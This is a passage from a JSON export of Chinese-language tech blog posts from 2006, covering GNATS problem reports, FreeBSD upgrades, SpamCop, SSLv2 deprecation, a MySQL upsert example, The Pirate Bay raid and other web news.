rel=\"tag\">FreeBSD</a> 的發展有幾種方法，一種是擁有 freebsd.org 的帳號，像是 <a href=\"http://blog.ijliao.info/\" rel=\"tag\">ijliao</a>、<a href=\"http://blog.leeym.com/\" rel=\"tag\">leeym</a>、<a href=\"http://blog.dragon2.net/\" rel=\"tag\">clsung</a>。有時我們叫他們 \"committer\"，因為這些人可以直接存取 <a href=\"http://www.freebsd.org/\" rel=\"tag\">FreeBSD</a> CVS Repository (也就是 \"commit\") 以及 GNATS 資料庫。\r\n\r\n而另外一種沒有帳號的人，則可以透過 send-pr 將想要改的東西送入 <a href=\"http://www.freebsd.org/\" rel=\"tag\">FreeBSD</a> 的 GNATS 資料庫，由 committer 看過以後再 commit 進 CVS Repository，所以我們叫這些人 \"submitter\"。\r\n\r\n我因為參與幾個 <a href=\"http://www.freebsd.org/ports/\" rel=\"tag\">FreeBSD ports</a> 的維護工作而玩過 <a href=\"http://www.gnu.org/software/gnats/\" rel=\"tag\">GNU GNATS</a> 的一部份：用 <a href=\"http://www.freebsd.org/\" rel=\"tag\">FreeBSD</a> 的 send-pr，將要修改的步驟 (通常就是附上 patch files) 透過 E-mail 送到 <a href=\"http://www.freebsd.org/\" rel=\"tag\">FreeBSD</a> 的 GNATS database 裡。送進去後系統會給我一個 PR number。如果有任何 committer 更新這個 PR，我會收到信件通知。\r\n\r\n資工系的系計中助教大約有二十個人，這二十個人並不是全部處理同樣的事情。有些人處理 <a href=\"http://www.freebsd.org/\" rel=\"tag\">FreeBSD</a>，有些處理 <a href=\"http://www.linux.org/\" rel=\"tag\">Linux</a> 或 <a href=\"http://www.sun.com/\" rel=\"tag\">Sun</a> 工作站，有些則處理 Netnews 或是 BBS。我覺得把 PR System 搬進資工系系計中來用，應該可以幫助我們處理一些事情，於是我就在 <a href=\"http://freshmeat.net/\" rel=\"tag\">freshmeat</a> 上看各家 PR System 所使用的情況，以及建構系統的複雜度。\r\n\r\n既然這篇不斷的講 <a href=\"http://www.gnu.org/software/gnats/\" rel=\"tag\">GNU GNATS</a>，那當然是因為最後我們用 <a href=\"http://www.gnu.org/software/gnats/\" rel=\"tag\">GNU GNATS</a>。會使用 <a href=\"http://www.gnu.org/software/gnats/\" rel=\"tag\">GNU GNATS</a> 的原因在於運作很簡單：\r\n<ul>\r\n\t<li>透過 send-pr 產生 PR。事實上 send-pr 只是產生一個範本，然後呼叫編輯器 (<a href=\"http://www.vim.org/\" rel=\"tag\">vim</a>、<a href=\"http://joe-editor.sourceforge.net/\" rel=\"tag\">joe</a>、...) 讓你填寫欄位，最後以 E-mail 送到 GNATS Database 裡。</li>\r\n\t<li>透過 edit-pr 修改 PR。事實上 edit-pr 會產生一個檔案，然後呼叫編輯器，你修改完欄位以後他會檢查哪些欄位被修改了，再修改 GNATS Database。</li>\r\n</ul>\r\n整個系統的要求極低，不需要 <a href=\"http://www.php.net/\" rel=\"tag\">PHP</a>，不需要 <a href=\"http://www.mysql.com/\" rel=\"tag\">MySQL</a>。對於系計中助教而言，在 Unix 上用編輯器修改檔案並不是難事，所以對於助教看起來一切 okay。\r\n\r\n但這個年代你不可能叫使用者透過 send-pr 一個一個填，而 <a href=\"http://www.gnu.org/software/gnats/\" rel=\"tag\">GNU GNATS</a> 本身沒有網頁界面，所以必須找個軟體，可以讓使用者透過網頁介面產生 PR，以及查詢目前 PR 處理的進度。\r\n\r\n我找到 <a href=\"http://savannah.gnu.org/projects/gnatsweb\" rel=\"tag\">Gnatsweb</a> 這套軟體，但發現他的介面並不好用，回頭來看 <a href=\"http://www.freebsd.org/\" rel=\"tag\">FreeBSD</a> 用哪一套的時候，卻發現 <a href=\"http://www.freebsd.org/\" rel=\"tag\">FreeBSD</a> 自己寫了一套給自己的 GNATS Database 用 !@#$%^...\r\n\r\n所以我花了一些時間寫了一個網頁介面，可以讓人 Submit &amp; Search，順便練習怎麼寫各家瀏覽器都可以用的 Javascript，然後試著用 <a href=\"http://developer.yahoo.com/yui/\" rel=\"tag\">Yahoo User Interface Library</a>，學著減少不斷重新造輪子的問題。同時把 <a href=\"http://blogs.law.harvard.edu/tech/rss\" rel=\"tag\">RSS 2.0</a> 實做出來：<a href=\"http://help.cs.nctu.edu.tw/pr/\">http://help.cs.nctu.edu.tw/pr/</a>。\r\n\r\nPS：這篇文章沒有意義，純粹記錄事情而已。",
    "title": "Problem Report System"
  },
  {
    "id": "611",
    "body": "在 <a href=\"http://blog.outer-court.com/\" rel=\"tag\">Google Blogoscoped</a> 看到 <a href=\"http://en.wikipedia.org/wiki/Noam_Chomsky\" rel=\"tag\">Noam Chomsky</a> 也開始利用 Blog 寫一些文章？<a href=\"http://blog.outer-court.com/archive/2006-05-24.html#n59\">Noam Chomsky Blog</a>。實際的 Blog 在這：<a href=\"http://blog.zmag.org/blog/13\" rel=\"tag\">Noam Chomsky's blog</a>，用 <a href=\"http://drupal.org/\" rel=\"tag\">Drupal</a> 架設的。\r\n\r\n<a href=\"http://en.wikipedia.org/wiki/Noam_Chomsky\" rel=\"tag\">Noam Chomsky</a> 對於非美國 Computer Science 的人最熟悉的應該還是 Formal Language 裡的 <a href=\"http://en.wikipedia.org/wiki/Chomsky%E2%80%93Sch%C3%BCtzenberger_hierarchy\" rel=\"tag\">Chomsky–Schützenberger hierarchy</a> 以及 <a href=\"http://en.wikipedia.org/wiki/Chomsky_normal_form\" rel=\"tag\">Chomsky Normal Form</a>。",
    "title": "Noam Chomsky"
  },
  {
    "id": "612",
    "body": "<a href=\"http://photomatt.net/\" rel=\"tag\">Matt</a> 在這篇這樣講：(<a href=\"http://photomatt.net/2006/05/23/web2-spam/\">Web2 Spam</a>)\r\n<blockquote><a href=\"http://nick.typepad.com/blog/2006/05/my_web_20_filte.html\">Nick Bradbury says</a> \"Any new Web 2.0 company that hasn’t considered the spam problem automatically isn’t worth my time.\" I forget who said it, but my favorite definition of social software is \"things that get spammed.\"</blockquote>\r\n不知道 <a href=\"http://photomatt.net/\" rel=\"tag\">Matt</a> 在講什麼...\r\n\r\nSocial Software 利用 Internet 的 Social Network 產生有用的資訊，再回饋給 Internet。但因為牽扯到「人」，這時候就會有 Spammer 加入，想要透過 Social Network 進行他的廣告。這是 A (social software) =&gt; B (spam)，不代表 B =&gt; A 啊...",
    "title": "Social Software"
  },
  {
    "id": "613",
    "body": "有人去用 <a href=\"http://www.google.com/trends\" rel=\"tag\">Google Trends</a> 翻 <a href=\"http://www.google.com/\" rel=\"tag\">Google</a> 搜尋關鍵字的排名，發現最近 \"Google\" 這個關鍵字幹掉 \"porn\"，但是還是輸 \"sex\"，而 \"Yahoo\" 這個關鍵字比 \"porn\" 與 \"sex\" 都高，於是寫了一篇文章：<a href=\"http://www.networkworld.com/columnists/2006/052206buzz.html\">Google beats porn . . . but not sex.</a>，而 <a href=\"http://digg.com/\" rel=\"tag\">Digg</a> 的標題下的更好笑 XD <a href=\"http://digg.com/software/Google_Users_Want_Yahoo_Even_More_Than_Sex_\">Google Users Want Yahoo Even More Than Sex?</a>\r\n\r\n搜尋的結果在這：<a href=\"http://www.google.com/trends?q=yahoo%2C+sex%2C+porn\">yahoo, sex, porn</a>，我剛剛丟進去找的圖是這樣，藍色是 yahoo，紅色是 sex，橙色是 porn：\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/152578375/\"><img src=\"http://static.flickr.com/48/152578375_eaf7184d10.jpg\" alt=\"yahoo, sex, porn\" /></a>",
    "title": "Google 搜尋關鍵字列表"
  },
  {
    "id": "614",
    "body": "在 <a href=\"http://www.calacanis.com/2006/05/24/falling-in-love-with-rojo/\">Falling in love with Rojo</a> 看到有人說 <a href=\"http://www.rojo.com/\" rel=\"tag\">Rojo</a> 有改善，就把之前註冊的帳號拿出來測試，發現還是非常不好用。\r\n\r\n有很多地方可以用 AJAX 改善的都沒做，造成整個畫面不斷在 refresh，用慣 AJAX Application 後，看起來很痛苦。反倒是沒什麼大改版的 <a href=\"http://www.bloglines.com/\" rel=\"tag\">Bloglines</a> 在這點做的就還不錯，相當簡潔，而且沒有廣告...",
    "title": "再用一次 Rojo"
  },
  {
    "id": "615",
    "body": "因為嫌 GIANT LOCK 太多，遠端把在美國的 <code>colo-s4s.hasname.com</code> 從 <a href=\"http://www.freebsd.org/\" rel=\"tag\">FreeBSD</a> 5.5-PRERELEASE 升級到 6.1-RELEASE :p \r\n\r\n還好沒有爛掉，不然就要花錢租用 Remote Network KVM 進 single user mode 處理 XD\r\n\r\n<strong>Update</strong>：有變比較快，不過沒想像中的多，看起來還要再找看看哪裡可以調整的 :/",
    "title": "升級到 6.1-RELEASE"
  },
  {
    "id": "617",
    "body": "不常遇到 <a href=\"http://www.google.com/\" rel=\"tag\">Google</a> Error 的 502 錯誤頁面持續超過一分鐘：\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/154292608/\"><img src=\"http://static.flickr.com/61/154292608_0586c0c033.jpg\" alt=\"Google Error Page\" /></a>",
    "title": "Google Error"
  },
  {
    "id": "618",
    "body": "<a href=\"http://wordpress.org/\" rel=\"tag\">WordPress.org</a> 站上的 Search 是透過 <a href=\"http://developer.yahoo.com/search/\" rel=\"tag\">Yahoo! Search</a> API 處理，而 <a href=\"http://photomatt.net/\" rel=\"tag\">Matt</a> 發現這幾天的 Search 功能又爛掉了：<a href=\"http://photomatt.net/2006/05/27/yahoo-search/\">Yahoo Search Broken (again?)</a>，像是在 Search 頁面找 \"mysql\" 卻什麼都找不到：\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/154586556/\"><img src=\"http://static.flickr.com/70/154586556_c2f06fff74.jpg\" alt=\"WordPress Search\" /></a>\r\n\r\n不過文中所提到的 <a href=\"http://search.yahoo.com/search?p=inurl%3Ayahoo.com+search\">inurl:yahoo.com search</a> 這個 link 在 comments 裡大家都說很正常，可是 <a href=\"http://photomatt.net/\" rel=\"tag\">Matt</a> 說他透過七台機器試，都不正常... XD\r\n\r\n大概是 <a href=\"http://wordpress.org/\" rel=\"tag\">WordPress.org</a> 用的量太大，API key 被搞不清楚狀況的工程師給 ban 掉了？XD",
    "title": "WordPress.org 站上的 Search 又爛了..."
  },
  {
    "id": "619",
    "body": "在 <a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a> 看到自動回報的機制：<a href=\"http://linux.slashdot.org/article.pl?sid=06/05/28/154256\">Automate Spamcop Submissions</a>，就想到之前寫的這篇說明文件：<a href=\"http://gslin.org/2005/02/17/577/\">SpamCop and SpamCup</a>。\r\n\r\n現在想起來，<a href=\"http://www.spamcop.net/\" rel=\"tag\">SpamCop</a> 反而是一種 Web 2.0 的模式？因為參與的人愈多，整個架構就愈強大 XD",
    "title": "自動回報 Spam 到 SpamCop"
  },
  {
    "id": "620",
    "body": "在 <a href=\"http://digg.com/\" rel=\"tag\">Digg</a> 看到 <a href=\"http://digg.com/technology/Google_Checkout%3A_PayPal_Killer_\">Google Checkout: PayPal Killer?</a>，原報導在 <a href=\"http://blogs.zdnet.com/Google/?p=208\">Welcome to Google Checkout, that will be $3.14</a> 這篇。\r\n\r\n文章裡提到了 googlecheckout.{net,org,info} 被 <a href=\"http://markmonitor.com/\" rel=\"tag\">Markmonitor.com</a> 註冊掉 (.com 被其他家公司註冊走了)，而這家公司正是註冊 gbrowser.com 的公司，之前替 <a href=\"http://www.google.com/\" rel=\"tag\">Google</a> 弄 Whois Protection 的。\r\n\r\n而現在這家公司又註冊掉 googlecheckout.*，大家當然會猜測 <a href=\"http://www.google.com/\" rel=\"tag\">Google</a> 皆下來會有什麼動作 :p 不過依照 gbrowser.com 的慣例，呃... 其實很多事情還是說不準 :p\r\n\r\n<strong>Update</strong>：<a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a> 上看到的實在太好笑了：(<a href=\"http://slashdot.org/article.pl?sid=06/05/29/0053231\">Another Google Tool To Take On PayPal?</a>)\r\n<blockquote><strong>You midunderstand</strong> (Score:5, Funny)\r\nby Anonymous Coward on Monday May 29, @10:50AM (#15422859)\r\nGoogle Checkout is Google's new dating service. They let you check-out other singles in your area.</blockquote>\r\n以及：\r\n<blockquote><strong>A Whole New Meaning</strong> (Score:5, Funny)\r\nby Alethes (533985) Alter Relationship on Monday May 29, @11:42AM (#15423018)\r\nAdds a whole new meaning to \"I'm Feeling Lucky\" now, doesn't it?</blockquote>",
    "title": "Google Checkout"
  },
  {
    "id": "621",
    "body": "因為 Desktop 的速度不快，換用 <a href=\"http://www.opera.com/\" rel=\"tag\">Opera</a> 試看看。雖然說過了 <a href=\"http://www.webstandards.org/action/acid2/\" rel=\"tag\">ACID2</a>，但非主流 Browser 對於中文的美化程度還是有差啊 :p 而且有些操作介面的親和性還是不太夠... (繼續觀望)",
    "title": "試用 Opera 9.0 Beta"
  },
  {
    "id": "622",
    "body": "遲早會有人把腦筋動到 GPU 強大的運算能力上 :p\r\n\r\n這次是利用 <a href=\"http://www.nvidia.com/\" rel=\"tag\">Nvidia</a> 的 GPU 弄出一個數學函示庫 <a href=\"http://gamma.cs.unc.edu/GPUFFTW/\" rel=\"tag\">GPUFFTW</a>，利用 GPU 計算 FFT 的基本運算加速：<a href=\"http://hardware.slashdot.org/article.pl?sid=06/05/29/1424213\">High performance FFT on GPUs</a>。\r\n\r\n在 Benchmark 中，透過 GPU 加速可以使得 FFT 整體的速度大約是純用 CPU 計算的四倍，但顯示卡的價錢卻只有 CPU 的 1/3。換句話說，把這類運算丟給 GPU 做，讓 CPU 計算其他的事情。\r\n\r\n不過還是有些限制：\r\n<ul>\r\n\t<li>只有 32-bits (single-precision) float point 可以用，這是 GPU 所造成的限制，如果以後有 GPU 支援 64-bits 才有辦法支援上去。</li>\r\n\t<li>只能跑 1-D FFT。</li>\r\n\t<li>在科學計算上面還要考慮到「正確性」的問題：GPU 計算時可能會有誤差，在畫圖的時候差一些沒關係，但科學計算的時候是不被允許的...</li>\r\n</ul>\r\n所以這個 Math Library 實際能應用的領域其實就小很多了...",
    "title": "用 GPU 跑 FFT"
  },
  {
    "id": "623",
    "body": "把放很久的文章整理出來。\r\n\r\n在 <a href=\"http://photomatt.net/\" rel=\"tag\">Photo Matt</a> 這裡看到 <a href=\"http://www.mysql.com/\" rel=\"tag\">MySQL</a> 4.1 之後的版本可以有 <code>INSERT ... ON DUPLICATE KEY UPDATE</code> 這種用法：<a href=\"http://photomatt.net/2006/05/29/mysql-counters/\">MySQL Counters</a>。引用的原文在 <a href=\"http://www.mysqlperformanceblog.com/2006/05/29/insert-on-duplicate-key-update-and-summary-counters/\">INSERT ON DUPLICATE KEY UPDATE and summary counters.</a> 這篇。\r\n\r\n如果你對於 race condition 有瞭解，你可以在文章裡看到這種用法將本來要自己做的檢查交給 <a href=\"http://www.mysql.com/\" rel=\"tag\">MySQL</a> 處理：\r\n<blockquote><code>INSERT INTO ipstat VALUES(inet_aton('192.168.0.1'), 1, now()) ON duplicate KEY UPDATE hits = hits + 1;</code></blockquote>\r\n這個功能在 <a href=\"http://www.mysql.com/\" rel=\"tag\">MySQL</a> 4.1 以及之後的版本有提供。",
    "title": "INSERT ... ON DUPLICATE KEY UPDATE"
  },
  {
    "id": "624",
    "body": "在 <a href=\"http://digg.com/\" rel=\"tag\">Digg</a> 看到 Slashdot CSS Redesign 結果出爐的消息 (噗)：<a href=\"http://digg.com/design/Slashdot_CSS_Redesign_Winner_Announced\">Slashdot CSS Redesign Winner Announced</a>。\r\n\r\n色調仍然保持灰色與綠色。本來以綠色當底色的部分，在新版改以綠色灰色漸層顯示；本來稜稜角角的轉角處，新版改用圓邊；左半部的 Menu 中，padding 與 margin 在新版調整過，留白比較多，並利用 Javascript 讓使用者可以關掉；最後，整個頁面大量使用 Sans-Serif，跟目前用 Serif 的風格完全不同：\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/157358594/\"><img src=\"http://static.flickr.com/62/157358594_16998aa1d0.jpg\" alt=\"slashdot css redesign\" /></a>\r\n\r\n<strong>Update</strong>：剛剛才看到 <a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a> 上的報導：<a href=\"http://slashdot.org/article.pl?sid=06/05/30/1531251\">Slashdot CSS Redesign Winner Announced</a>，作者是 <a href=\"http://www.macbert.com/\" rel=\"tag\">Alex Bendiken</a>。\r\n\r\n<strong>Update</strong>：新的版面上線了。",
    "title": "Slashdot CSS Redesign"
  },
  {
    "id": "625",
    "body": "忘記把 72.36.224.226 (租用的主機) 列入 <a href=\"http://www.spamcop.net/\" rel=\"tag\">SpamCop</a> 的 Mail Hosts 裡，結果把從這台主機轉進來的 Spam 回報給 <a href=\"http://www.spamcop.net/\" rel=\"tag\">SpamCop</a> 時被認為是 72.36.224.226 在送 Spam，而不是連到 72.36.224.226 的 IP address 在送，於是就自動回報給主機負責的 ISP (也就是 <a href=\"http://www.layeredtech.com/\" rel=\"tag\">Layered Technologies</a>)。\r\n\r\n<a href=\"http://www.layeredtech.com/\" rel=\"tag\">Layered Technologies</a> 收到信後通知 <a href=\"http://www.server4sale.com/\" rel=\"tag\">Server4Sale</a>，而 <a href=\"http://www.server4sale.com/\" rel=\"tag\">Server4Sale</a> 再轉給我，並告知二十四小時內沒有回應就會斷線 O_O\r\n\r\n趕緊去 <a href=\"http://www.spamcop.net/\" rel=\"tag\">SpamCop</a> 新增 Mail Hosts 的資料，然後到系統上回 ticket 解釋...\r\n\r\nPS：如果是國內的 ISP 收到 <a href=\"http://www.spamcop.net/\" rel=\"tag\">SpamCop</a> 說 Colocation 的機器在發廣告信，大概不會這麼有效率... XD",
    "title": "SpamCop 的 Report"
  },
  {
    "id": "626",
    "body": "<a href=\"http://www.netcraft.com/\" rel=\"tag\">Netcraft</a> 的統計資料顯示 SSL 終於能夠放棄 SSLv2，進化到 SSLv3：<a href=\"http://news.netcraft.com/archives/2006/05/31/most_sites_ready_for_ssl_progress.html\">Most sites ready for SSL progress</a>。\r\n\r\n在 server 方面，只能使用 SSLv2 連線的 server 只剩下 0.1%，換句話說，有 99.9% 的 server 支援 SSLv3 或 TLS 1.0。\r\n\r\n在 client 的三個陣營裡，<a href=\"http://www.mozilla.com/\" rel=\"tag\">Mozilla</a> 一年前首先建議關閉 SSLv2，而在 <a href=\"http://www.mozilla.com/firefox/\" rel=\"tag\">Firefox</a> 2.0 更直接將 SSLv2 預設值關閉，同時不讓使用者透過 Options 的地方開啟 (如果硬要啟用必須透過 about:config 修改)，除此之外，<a href=\"http://www.mozilla.com/firefox/\" rel=\"tag\">Firefox</a> 現在正在考慮放棄 weak cipher (DES 與 RC2？) 加密；IE 7.0 則是將 SSLv2 的預設值關閉，另外在 <a href=\"http://www.microsoft.com/Windowsvista/\" rel=\"tag\">Windows Vista</a> 上的 IE 將不提供 weak cipher；<a href=\"http://www.opera.com/\" rel=\"tag\">Opera</a> 將 SSLv2 與 weak cipher 加密的預設值關閉。\r\n\r\n大約到了明年，各家瀏覽器都推出新版後，就可以完全不用顧慮到 SSLv2。從 1996 年 SSLv3 出來就一直為了 backward-compatible 的東西終於可以收起來了。",
    "title": "SSL 的演化"
  },
  {
    "id": "627",
    "body": "今天 Meeting 完跟 <a href=\"http://yhsung.tw/wordpress/\" rel=\"tag\">Dracula</a> 與 <a href=\"http://www.wretch.cc/blog/natural\" rel=\"tag\">菜配</a> 在 Lab 講有的沒的，講到後來講到吃的事情，愈講愈心動，當場就決定去 <a href=\"http://www.rt-mart.com.tw/\" rel=\"tag\">大潤發</a> 買電鍋 + 電磁爐，以及一堆吃的：<a href=\"http://yhsung.tw/wordpress/2006/06/03/119%e5%bb%9a%e5%85%b7%e7%94%9f%e5%8a%9b%e8%bb%8d/\">119廚具生力軍</a>。\r\n\r\n<a href=\"http://www.flickr.com/photos/yhsung/158741935/\"><img src=\"http://static.flickr.com/69/158741935_cb634c82d5.jpg\" alt=\"\" /></a>\r\n\r\n有時間再來研究要怎麼好好利用這個電鍋弄些有的沒的開伙 o_O",
    "title": "大同電鍋"
  },
  {
    "id": "628",
    "body": "會裝 <a href=\"http://www.mozilla.com/firefox/\" rel=\"tag\">Firefox</a> 上的 <a href=\"https://addons.mozilla.org/firefox/60/\" rel=\"tag\">Web Developer</a>，其實是因為 <a href=\"http://hlb.yichi.org/blog/\" rel=\"tag\">布丁大長輩</a> 深情推薦，裝了以後也不知道幹嘛 XD\r\n\r\n直到這陣子寫 HTML code 寫到受不了，決定來看 <a href=\"https://addons.mozilla.org/firefox/60/\" rel=\"tag\">Web Developer</a> 有什麼功能可以用，才發現這個 Extension 是個神兵利器 XD\r\n\r\n<strong>第一個，看某個物件的屬性。</strong>\r\n\r\n在畫面上按下 Ctrl-Shift-F (或是用 Toolbar 上的 Information，選 Display Element Information) 之後，移動游標，在左上角就會出現這個區塊的各種屬性，像是<u>字體資料</u> (逛網頁時看到喜歡的字型不用再翻 HTML 與 CSS)、<u>物件的巢狀架構</u> (想要變更 CSS 時超方便，在找 CSS 靈異現象時也超方便)：\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/158916183/\"><img src=\"http://static.flickr.com/49/158916183_44cb498faf.jpg\" alt=\"Web Developer\" /></a>\r\n\r\n<strong>第二個，看 Javascript 產生出來的 HTML code。</strong>\r\n\r\n有時候會透過 Javascript 產生一些 code，但產生出來的 HTML 在最簡單的 View Source (即 Ctrl-U 所跳出來的視窗) 裡面看不到。而 Web Developer 提供了 View Generated Source 的功能：\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/158927067/\"><img src=\"http://static.flickr.com/75/158927067_86bcadf62f.jpg\" alt=\"Web Developer (View Generated Source)\" /></a>\r\n\r\n<strong>第三個，看網站的結構性。</strong>\r\n\r\n用 View Topographic Information (在 Information 下) 可以看出來網站的結構性，舉布丁大長輩的網站當範例，上面這張是原來的頁面，而下面這張是點選 View Topographic Information 後的頁面。\r\n\r\n下面那張裡，預設是黑色，每多一層就變白一點。<a href=\"http://hlb.yichi.org/blog/\" rel=\"tag\">布丁大長輩的網頁</a> 算是比較乾淨的網頁，如果你拿 blog.yam.com 的首頁抓出來看，你會看到在奇怪的地方多出一堆奇怪的白色框框 XD：\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/158930430/\"><img src=\"http://static.flickr.com/74/158930430_9488b38926.jpg\" alt=\"Web Developer (Original)\" /></a>\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/158930431/\"><img src=\"http://static.flickr.com/62/158930431_0823f4bea2.jpg\" alt=\"Web Developer (View Topographic Information)\" /></a>\r\n\r\n當然，還有很多很好用的功能，有空的時候可以隨便抓兩個網頁對照看看，其實會利用 <a href=\"https://addons.mozilla.org/firefox/60/\" rel=\"tag\">Web Developer</a> 學到不少東西 (以及對於網頁設計的感覺)。",
    "title": "Web Developer"
  },
  {
    "id": "629",
    "body": "在 <a href=\"http://digg.com/\" rel=\"tag\">Digg</a> 看到透過電話號碼 (美國) 查出是在哪一區的服務，再配合 <a href=\"http://maps.google.com/\" rel=\"tag\">Google Maps</a> 將資料顯示出來：<a href=\"http://digg.com/links/Phone_Number_Geolocator\" rel=\"tag\">Phone Number Geolocator</a>。站台在這：<a href=\"http://npa.rmlabs.net/\" rel=\"tag\">NPA-NXX Geolocator</a>。\r\n\r\n不過這只是參考用的，像 <a href=\"http://ashley.yichi.org/\" rel=\"tag\">ashley</a> 的手機號碼就申請的地點，而非現在使用的地點。而 <a href=\"http://www.skype.com/products/skypein/\" rel=\"tag\">SkypeIn</a> 的號碼則是完全不行... (蠻正常的 :p)",
    "title": "用電話號碼查地區"
  },
  {
    "id": "630",
    "body": "<a href=\"http://www.thepiratebay.org/\" rel=\"tag\">The Pirate Bay</a> 被抄，然後又復站，這陣子 <a href=\"http://www.bittorrent.com/\" rel=\"tag\">BitTorrent</a> 世界裡面最熱門的新聞。\r\n\r\n事情的源起於 5/31 時，放在瑞典的 <a href=\"http://www.thepiratebay.org/\" rel=\"tag\">The Pirate Bay</a> 被抄 (<a href=\"http://slashdot.org/article.pl?sid=06/05/31/1226224\">ThePirateBay.org Raided and Shut Down</a>)。有人把被抄當時 ISP 機房的監視攝影機影片丟上 <a href=\"http://www.youtube.com/\" rel=\"tag\">YouTube</a>，然後再丟到 <a href=\"http://digg.com/\" rel=\"tag\">Digg</a> 上讓大家知道：<a href=\"http://digg.com/security/Video_from_the_pirate_bay_raid\">Video from the pirate bay raid</a>，可以看到警方在抄的時候居然把監視攝影機用布擋起來的奇怪情況 :p\r\n\r\n而隔天 6/1 傳出消息：<a href=\"http://www.thepiratebay.org/\" rel=\"tag\">The Pirate Bay</a> 決定拿新機器在其他國家捲土重來：<a href=\"http://yro.slashdot.org/article.pl?sid=06/06/01/1245241\">ThePirateBay Will Rise Again?</a>，而在今天 6/3，新機器已經放到荷蘭，並改名叫 The Police Bay XD XD XD：<a href=\"http://yro.slashdot.org/article.pl?sid=06/06/03/1220249\" rel=\"tag\">The Pirate Bay Is Back Online</a>。\r\n\r\n<strong>Update</strong>：才剛講完就發現不對，<a href=\"http://www.thepiratebay.org/\" rel=\"tag\">www.thepiratebay.org</a> 是用荷蘭的 IP address 沒錯，不過還有其他主機放在俄羅斯、烏克蘭、以及一個歐盟的國家？(<a href=\"http://digg.com/technology/The_Pirate_Bay_Now_Hosted_in:_Holland,_Russia,_Ukraine\">The Pirate Bay Now Hosted in: Holland, Russia, Ukraine</a>)\r\n<blockquote>The Pirate Bay (TPB) Announced in Copenhagen that the site will be hosted in 4 individual locations, Holland, Russia, Ukraine, and one additional EU nation</blockquote>\r\n\r\n<strong>Update Again</strong>：在 <a href=\"http://digg.com/\" rel=\"tag\">Digg</a> 上看到群眾在斯德哥爾摩遊行：<a href=\"http://digg.com/technology/Demonstration_held_in_response_to_the_raid_on_The_Pirate_Bay\">Demonstration held in response to the raid on The Pirate Bay</a>，其中第一個 comment 提到了這次遊行的重點：\r\n<blockquote>When a corperation has the ability to munipulate a foreign governments law enforcement and goverment into raiding a legal business (it may not be legal in the US but US law does not apply outside the US), then theres reason to be worried.</blockquote>\r\n\r\n<strong>Update Blah</strong>：<a href=\"http://www.thepiratebay.org/\" rel=\"tag\">The Pirate Bay</a> 新版的 Logo 很好笑 XD",
    "title": "The Pirate Bay"
  },
  {
    "id": "631",
    "body": "在 <a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a> 看到的，<a href=\"http://www.netbsd.org/\" rel=\"tag\">NetBSD</a> 決定將 <a href=\"http://www.sendmail.org/\" rel=\"tag\">Sendmail</a> 移出 Base System：<a href=\"http://bsd.slashdot.org/article.pl?sid=06/05/31/126238\">Sendmail Removed From NetBSD</a>。\r\n\r\n<a href=\"http://www.sendmail.org/\" rel=\"tag\">Sendmail</a> 目前已經從 <a href=\"http://www.netbsd.org/\" rel=\"tag\">NetBSD</a> 裡移除了 (<a href=\"http://mail-index.netbsd.org/current-users/2006/05/29/0005.html\">removed sendmail from the tree.</a>)，取而代之的是 <a href=\"http://www.postfix.org/\" rel=\"tag\">Postfix</a> (<a href=\"http://mail-index.netbsd.org/current-users/2006/05/30/0013.html\">Re: removed sendmail from the tree.</a>)。移除的理由要再看一下...",
    "title": "NetBSD 將 Sendmail 移出 Base System"
  },
  {
    "id": "634",
    "body": "如同標題所說的，在 <a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a> 上看到 <a href=\"http://www.lenovo.com/\" rel=\"tag\">Lenovo</a> 宣佈未來的產品線將完全不支援 <a href=\"http://www.linux.org/\" rel=\"tag\">Linux</a>，包括搭載的作業系統，以及售後服務：<a href=\"http://hardware.slashdot.org/article.pl?sid=06/06/04/0415221\">Lenovo To Shun Linux</a>。\r\n\r\n雖然說在商言商，但像 <a href=\"http://www.lenovo.com/\" rel=\"tag\">Lenovo</a> 這樣大膽直接宣佈要舔 <a href=\"http://www.microsoft.com/\" rel=\"tag\">Microsoft</a> 的 ... (消音) 的，好像還不多...\r\n\r\n<strong>Update</strong>：在 <a href=\"http://digg.com/\" rel=\"tag\">Digg</a> 看到聯想跳出來澄清：<a href=\"http://digg.com/linux_unix/Lenovo_denies_ditching_Linux\">Lenovo denies ditching Linux</a>。星期一的時候 <a href=\"http://www.lenovo.com/\" rel=\"tag\">Lenovo</a> 的 Marc Godin (vice president of marketing for Lenovo's notebooks) 說他們會繼續提供 <a href=\"http://www.linux.org/\" rel=\"tag\">Linux</a> 支援，先前的報導是 Frank Kardonski (Lenovo's worldwide product manager for its 3000 series) 提供給記者錯誤的資訊。",
    "title": "Lenovo 以後不再支援 Linux"
  },
  {
    "id": "636",
    "body": "今天看到 <a href=\"http://www.netcraft.com/\" rel=\"tag\">Netcraft</a> 每個月的 Web Server Survey 才知道原來 <a href=\"http://www.godaddy.com/\" rel=\"tag\">GoDaddy</a> 在 DNS 的佔有率這麼高，將大部分的客戶從 <a href=\"http://www.apache.org/\" rel=\"tag\">Apache</a> 轉成 <a href=\"http://www.microsoft.com/\" rel=\"tag\">Microsoft</a> IIS 後使得 <a href=\"http://www.apache.org/\" rel=\"tag\">Apache</a> 大幅減少 (這個月少了 3.51%)，而 <a href=\"http://www.microsoft.com/\" rel=\"tag\">Microsoft</a> IIS 大幅增加 (這個月多了 4.25%)，兩者相加之下一口氣拉近了 7.76%：<a href=\"http://news.netcraft.com/archives/2006/06/04/june_2006_web_server_survey.html\">June 2006 Web Server Survey</a>。\r\n\r\n不知道有沒有機會看到 <a href=\"http://www.microsoft.com/\" rel=\"tag\">Microsoft</a> IIS 超過 50% 的市佔率 :p 其實以 <a href=\"http://www.microsoft.com/\" rel=\"tag\">Microsoft</a> 的財力要搞絕對沒問題啊，照 <a href=\"http://www.netcraft.com/\" rel=\"tag\">Netcraft</a> 的資料，現在才八千萬個 domain，<a href=\"http://www.microsoft.com/\" rel=\"tag\">Microsoft</a> 花個一億美金買一整排 .info domain，這一整年的數據就好玩了 XD",
